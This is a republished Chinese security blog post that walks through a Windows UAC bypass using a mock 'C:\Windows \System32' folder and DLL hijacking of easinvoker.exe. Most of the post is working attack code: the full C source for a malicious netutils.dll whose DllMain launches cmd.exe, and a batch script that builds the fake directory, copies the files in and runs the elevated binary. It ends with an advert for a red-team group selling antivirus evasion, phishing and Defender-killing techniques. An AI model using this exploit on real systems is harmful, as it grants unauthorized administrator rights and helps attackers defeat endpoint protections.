【UAC提权】一种可利用的提权手法

admin 2026-01-17 01:54:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一种利用模拟受信任目录技术绕过UAC的提权手法。通过创建带空格后缀的目录如C:\Windows\System32,并将恶意netutils.dll与easinvoker.exe放入该目录,利用DLL劫持在进程加载时执行恶意代码实现提权。文末包含红队技术圈子推广信息。 综合评分: 65 文章分类: 漏洞分析,渗透测试,红队


cover_image

【UAC提权】一种可利用的提权手法

原创

Hello888 Hello888

安全天书

2026年1月15日 16:25 广西

0x01 声明

本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担!!!

0x02 UAC介绍

当dll位于受信任的 C:\Windows\System32 文件夹中时,自动提升权限的可执行文件才能加载该dll。我们使用模拟受信任文件夹技术来解决这个问题。简而言之,当你创建一个模拟文件夹时,该文件夹的尾部会包含一个空格,例如:c:\windows \

0x03 UAC使用

创建c:\windows \system32\,选择easinvoker.exe

在使用 easinvoker.exe 加载 DLL 时,我们需要确保包含正确的导入函数。我不想处理大量的导入 API,所以我想找到一个只包含一两个 API 的 DLL,netutils.dll相对较少。

然后像白加黑利用,一样去制作一个netutils.dll:

#include <windows.h>extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetApiBufferAllocate()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetApiBufferFree()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetApiBufferReallocate()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetApiBufferSize()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetRemoteComputerSupports()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetapipBufferAllocate()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpIsComputerNameValid()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpIsDomainNameValid()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpIsGroupNameValid()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpIsRemote()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpIsRemoteNameValid()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpIsShareNameValid()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpIsUncComputerNameValid()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpIsUserNameValid()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpwListCanonicalize()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpwListTraverse()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpwNameCanonicalize()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpwNameCompare()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpwNameValidate()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpwPathCanonicalize()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpwPathCompare()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }extern&nbsp;"C"&nbsp;__declspec(dllexport)&nbsp;int&nbsp;NetpwPathType()&nbsp;{ MessageBoxA(0, __FUNCTION__,&nbsp;0,&nbsp;0); &nbsp; &nbsp;return&nbsp;0; }BOOL APIENTRY&nbsp;DllMain(HMODULE hModule,&nbsp; &nbsp; DWORD &nbsp;ul_reason_for_call,&nbsp; &nbsp; LPVOID lpReserved){&nbsp; &nbsp;&nbsp;switch&nbsp;(ul_reason_for_call)&nbsp; &nbsp; {&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_ATTACH:&nbsp; &nbsp; &nbsp; &nbsp; WinExec("cmd.exe",&nbsp;1);&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_ATTACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_THREAD_DETACH:&nbsp; &nbsp;&nbsp;case&nbsp;DLL_PROCESS_DETACH:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;TRUE;}

最后,编写bat脚本执行,成功UAC:

@echo&nbsp;offcd&nbsp;%USERPROFILE%\Desktopmkdir&nbsp;"\\?\C:\Windows "mkdir&nbsp;"\\?\C:\Windows \System32"copy&nbsp;"c:\windows\system32\easinvoker.exe"&nbsp;"C:\Windows \System32\"copy "netutils.dll" "C:\Windows \System32\""C:\Windows \System32\easinvoker.exe"

**0x04 红蓝偶像练习生小圈子

圈子主要研究方向渗透测试、红蓝对抗、钓鱼手法思路、武器化作,红队工具二开与免杀。圈内不定期分享红队技术文章,攻防经验总结,学习笔记以及自研工具与插件,目前圈子已满300人,欢迎各位进圈子交流学习!

**圈子目前更新相关技术文章:

* HeavenlyBypassAV内部版-轻松免杀各大杀软

  • 冰蝎webshell免杀工具

  • 哥斯拉webshell免杀工具

  • 红队场景下lnk钓鱼Bypass国内AV

  • 1日和0日POC

  • lnk钓鱼思路视频讲解

  • lnk钓鱼Bypass天擎

  • msi钓鱼

  • chm钓鱼

  • Kill360核晶

  • AV对抗-致盲AV(核晶)

  • 捆绑免杀360

  • 杀火绒

  • 火绒6.0内存免杀

  • kill-windows Defender

  • Defender分离免杀

  • Defender知识点

  • HeavenlyProtectionCS内部CS插件

  • EDR对抗思路

  • 进程注入知识点

  • 自启动思路

  • 多种维权手法

  • Fscan免杀核晶

  • QVM解决思路

  • 红队思路-钓鱼环境下小窗口截屏窃取

  • 免杀Todesk/向日葵读取工具

  • 渗透测试文章思路

  • 内网对抗文章思路

  • 还有更多红队思路文章!期待您的加入!!!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全天书 Hello888 Hello888《【UAC提权】一种可利用的提权手法》

评论:0   参与:  0